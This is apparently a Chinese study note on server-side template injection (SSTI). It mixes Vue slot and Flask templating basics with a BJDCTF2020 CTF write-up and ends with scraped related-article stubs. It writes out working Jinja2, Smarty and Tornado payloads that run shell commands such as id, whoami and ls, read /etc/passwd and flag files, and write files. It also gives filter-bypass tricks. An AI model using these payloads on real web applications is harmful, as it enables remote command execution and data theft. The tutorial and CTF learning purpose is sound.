ssti服务器模板注入

ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI 攻击可以用来找出 Web 应用程序的内容结构。

slot

Slot的理解:solt是“占坑”,在组件模板中占好了位置,当使用该组件标签时候,组件标签里面的内容就会自动填坑(替换组件模板中位置),当插槽也就是坑有命名时,组件标签中使用属性slot=”mySlot”的元素就会替换该对应位置内容,可以实现父组件对子组件的传参,要注意是父组件传入子组件

<Child>

<span slot="header">hello world</span>

<span slot="main">hello world</span>

<span slot="footer">hello world</span>

<span slot="other">{{otherData}}</span>

</Child>

<template>

<div>

<slot  name=”header”>这是拥有命名的slot的默认内容</slot>

<slot  name=”main”>这是拥有命名的slot的默认内容</slot>

<slot  name=”footer”>这是拥有命名的slot的默认内容</slot>

<slot  name=”other”>这是拥有命名的slot的默认内容</slot>

</div>

</template>

作用域插槽:

  <ul>

      <slot name="item" v-for="item in items" :text="item.text" :myname="item.myname" >

         slot的默认内容

      </slot>

   </ul>

   <Child>

      <template slot="item" scope="props">

        <li>{{props.myname}}</li>

      </template>

   </Child>

https://www.jianshu.com/p/ee9dd640f23a

https://www.jianshu.com/p/50dcf932a159

https://blog.csdn.net/kingov/article/details/78293384?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase&depth_1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-10.nonecase

Flask框架

render_template模板渲染
@app.route('/login.php')
def index():
return render_template('temp_demo1.html')

该函数能将我们模板的内容进行渲染返回。

@app.route('/login.php')
def index():
my_str = 'Hello' //传入的数据
my_int = 10
my_array = [3, 4, 2, 1, 7, 9]
my_dict = {
'name': 'xiaoming',
'age': 18
}
return render_template('temp_demo1.html', //html文件
my_str=my_str, //传过去的宏
my_int=my_int,
my_array=my_array,
my_dict=my_dict
)

模板代码:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
我的模板html内容
<br/>{{ my_str }} //调用了传来的宏
<br/>{{ my_int }}
<br/>{{ my_array }}
<br/>{{ my_dict }} </body>
</html> 我的模板html内容
Hello
10
[3, 4, 2, 1, 7, 9]
{'name': 'xiaoming', 'age': 18}
if判断语句
{%if user.is_logged_in() %}
<a href='/logout'>Logout</a>
{% else %}
<a href='/login'>Login</a>
{% endif %}
循环语句
{% for post in posts %}
<div>
<h1>{{ post.title }}</h1>
<p>{{ post.text | safe }}</p>
</div>
{% endfor %}

为了避免反复地编写同样的模板代码,出现代码冗余,可以把宏写成函数以进行重用。

定义一个宏:

 {% macro input(name,value='',type='text') %}
<input type="{{type}}" name="{{name}}"
value="{{value}}" class="form-control">
{% endmacro %}

调用宏:

{{ input('name' value='zs')}}

输出:

<input type="text" name="name" value="zs" class="form-control">

包含:

{% include 'hello.html' %}

继承:

{% extends 'base.html' %}
{% block content %}
ssti漏洞

关于ssti漏洞,我们有render _ template函数以及render_ template _string函数,他们都是提供渲染的。

原理:模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击,但是当渲染的模版内容受到用户的控制就如同下面方式:

"Hello {$_GET['name']}"(这里是php,在python也不要直接%s进行拼接)

此时这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,服务端相信了用户的输出。

同时,模板引擎对于{{ 变量 }} 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值,例如{{2*10}},那么会直接的进行执行输出20.

ssti之命令执行

在python环境当中我们的命令执行需要使用os模块以便我们调用系统命令。

payload:

#python3
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#python2
#读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

关于上方payload的实现,我查看了这些属性的含义:

__class__  返回类型所属的对象
__mro__ Method Resolution Order代表着解析方法调用的顺序,他会返回一个包含对象所继承的基类元组,会按照元组的顺序解析。
__base__ 返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,dump所有存在于应用程序中可引用的类
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

分步查看:

http://127.0.0.1:5000/test/?id={{%20%27%27.__class__}}

此时返回:

<type 'str'> //返回类型所属的对象为str,也确实因为我们前边设置了''这个空字符串

接下来我们使用mro属性访问对象的继承类
http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__%20}}

此时返回:

(<type 'str'>, <type 'basestring'>, <type 'object'>)

我们加上数组:http://127.0.0.1:5000/test/?id={{%20%27%27.__class__.__mro__[1]%20}}
返回:

<type 'basestring'> //此时第一类就是basestring

此时我们想追溯根对象类:查看object,利用subclassesdump所有存在于应用程序中可引用的类。

http://127.0.0.1:5000/test/?id={{%20%27dd%27.__class__.__mro__[2].__subclasses__()%20}}
返回:

[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>...还有很多]

我们在添加一个数组让他单个输出:

http://127.0.0.1:5000/test/?id={{%27%27.__class__.__mro__[2].__subclasses__()[1]}}

此时输出:

<type 'weakref'>看到了元组的第一个元素。

因为此时我们想要执行命令,我们要对我们这个类进行初始化利用:

__init__  类的初始化方法
__globals__ 对包含函数全局变量的字典的引用

调用类索引使用read方法打开文件: //写的话我们可以使用write。

{{ ''.__class__.__mro__[2].__subclasses__()[67]('/etc/passwd').read() }}其中[67]是<type 'file'>类索引,我们就这样直接打开了。

也可以''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('NEWS.txt').read() 这些都成功的读取到了文件。

命令执行:
我们找到os模块,利用脚本:

for a in range(0,444):
i=' '.__class__.__mro__[1].__subclasses__()[a]
print(a)
print(i)

payload:

{{''.__class__.__mro__[1].__subclasses__()[118].__init__.__globals__['popen']('命令').read()}}这样就可以了。

当然我们也可以自己编写好flask语句然后执行。例如:

http://127.0.0.1:5000/login?name={% for item in person %}<p>{{ item, person[item] }}</p>{% endfor %}

5.26新增

[BJDCTF2020]The mystery of ip 1

点进去有Flag页,所以点进去看一眼,发现返回了我当前的ip地址了,F12看一下HINT的源代码,看到注释<!-- Do you know why i know your ip? -->,可能跟这有关系,猜测可能是跟某方面的信息来得到的,X-Forwarded-For就很有可能,

GET /flag.php HTTP/1.1
Host: 9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-for: 2
Referer: http://9704-27a30dc9-6031-4b24-b4d5-ae405f31a2bbnode3.buuoj.cn:26143/
Upgrade-Insecure-Requests: 1

此时服务端:

<div class="form-group log">
<label><h2>Your IP is : 2 </h2></label>
</div>

照搬输出,呢么很可能存在某块漏洞,尝试模板注入{{1}},确实存在模板注入,判断类型为smarty

payload:

{if phpinfo()}{/if}
{if system('ls')}{/if}
{readfile('/flag')}或者为
{if show_source('/flag')}{/if}或者为
{if system('cat ../../../flag')}{/if}三种方法都能读到flag,另外包含双括号单括号都是可以的
关于smarty的ssti模板注入

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别,Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,Smarty3已经废弃{php}标签。在Smarty 3.1,{php}仅在SmartyBC中可用。

Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等

附:在php5的环境我们可以使用 <script language=”php”>phpinfo();</script>,以往只知道这个用法不知道在PHP7下是不行的


不同模板的不同payload

Ruby

<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>

Java

${7*7}

Twig

{{7*7}}

Smarty

{php}echo `id`;{/php}

AngularJS

$eval('1+1')

Tornado

引用模块 {% import module %}
=> {% import os %}{{ os.popen("whoami").read() }}

Flask/Jinja2

{{ config.items() }}
{{''.__class__.__mro__[-1].__subclasses__()}}

Django

{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}

同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说{{7*'7'}}会在 Twig 中返回49,而在 Jinja2 中则是7777777。

关于自动转义

在jinja模板中,后缀不为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)的是不会启用自动转义的flask调用jinja时的Environment函数,默认启动自动转义的文件名后缀为(‘.html’, ‘.htm’, ‘.xml’, ‘.xhtml’)

jinja的html转义有两种,自动转义和手工转义。手动转义:转义通过用管道传递到过滤器 |e 来实现: {{ user.username|e }} 。自动转义就是调用Environment函数时指定autoescape参数(一般是一个函数,输入值为模板名,输出为布尔值,判断后缀返回True和Flase来指定是否开启)来开启,某些字符不需要转义时使用过滤器|safe。或者自动转义扩展在模板中指定是否开启。{% autoescape true %}自动转义在这块文本中是开启的。{% endautoescape %}

https://www.freebuf.com/articles/web/88768.html

https://www.jianshu.com/p/aef2ae0498df

https://www.freebuf.com/articles/system/97146.html

绕过技巧

字符串拼接:

``request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]``

使用参数绕过
Twig
Twig 不会转义静态表达式:

    {% set hello = "<strong>Hello</strong>" %}
{{ hello }}
{{ "<strong>world</strong>" }} 将会被渲染为 "<strong>Hello</strong>world".

SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1的更多相关文章

  1. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  2. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  3. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  4. [BJDCTF2020]Mark loves cat && [BJDCTF 2nd]简单注入 && [BJDCTF2020]The mystery of ip

    [BJDCTF2020]Mark loves cat 源码泄露 使用GitHack.py下载源码 下载之后对源代码进行审计 flag.php代码为: <?php $flag = file_get ...

  5. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  6. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  7. [BJDCTF2020]The mystery of ip|[CISCN2019 华东南赛区]Web11|SSTI注入

    记录一下BUUCTF中两个类似的SSTI注入关卡 [BJDCTF2020]The mystery of ip-1: 1.打开之后显示如下: 2.在hint.php中进行了相关提示,如下: 3.既然获取 ...

  8. Flask模板注入

    Flask模板注入 Flask模板注入漏洞属于经典的SSTI(服务器模板注入漏洞). Flask案例 一个简单的Flask应用案例: from flask import Flask,render_te ...

  9. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

随机推荐

  1. CentOS 桥接网卡配置

    [root@controller ~]# cat /etc/sysconfig/network-scripts/ifcfg-br0 DEVICE=br0 ONBOOT=yes TYPE=Bridge ...

  2. Redis的数据类型及使用场景

    1.redis 的数据类型 String 字符串 Hash 哈希 List 列表 Set 集合 ZSet(Sorted Set) 有序集合 2.使用场景 2.1 String 用户token 可以用r ...

  3. 使用Spring Boot DevTools优化你的开发体验

    场景再现 某日少年收到前端同学发来的消息说联调的接口响应异常

  4. 使用Seq搭建免费的日志服务

    Seq简介 Seq是老外开发的一个针对.NET平台非常友好的日志服务.支持容器部署,提供一个单用户免费的开发版本. 官网:https://datalust.co/seq 使用文档:https://do ...

  5. /usr/bin/ld: cannot find -lcrypto

    当我们使用openssl里边的函数的时候,需要链接crypto的库 如果找不到,加一个软链接,如下: ln -s /usr/lib64/libcrypto.so.1.1 /usr/lib64/libc ...

  6. CSP 201312-1 出现次数最多的数

    思路 由于输入的数组元素是 1 ≤ si ≤ 10000,所以开一个 10001 的数组.输入的过程中使用 num 记录出现的最大次数: 在所有输入结束后,遍历数组元素,由于题目要求出现多个众数输出最 ...

  7. python接口测试自动化之python基础语法

    一.pycharm的使用和python基本语法 (一).pycharm的使用和python环境 1.python以及pycharm的安装 python 的版本选择:3.x 版本,不要安装2.x 版本, ...

  8. 深入了解v-model流程

    v-model原理 vue中v-model是一个语法糖,所谓的语法糖就是对其他基础功能的二次封装而产生的功能.简单点说,v-model本身就是父组件对子组件状态以及状态改变事件的封装.其实现原理上分为 ...

  9. Android开发之第三方推送JPush极光推送知识点详解 学会集成第三方SDK推送

    作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 下面是一些知识点介绍,后期将会带领大家进行代码实战: 一.Android实现推送方式解决方案: 1.推 ...

  10. Unity 深度冲突的解决方法

    Dillon|2014-02-12 10:00|5899次浏览|Unity(280)0 3d游戏中当2个片元距离近裁减平面 w  落在同一个区间的时候,他们的深度是相等的. 最终你所看到的结果,就是下 ...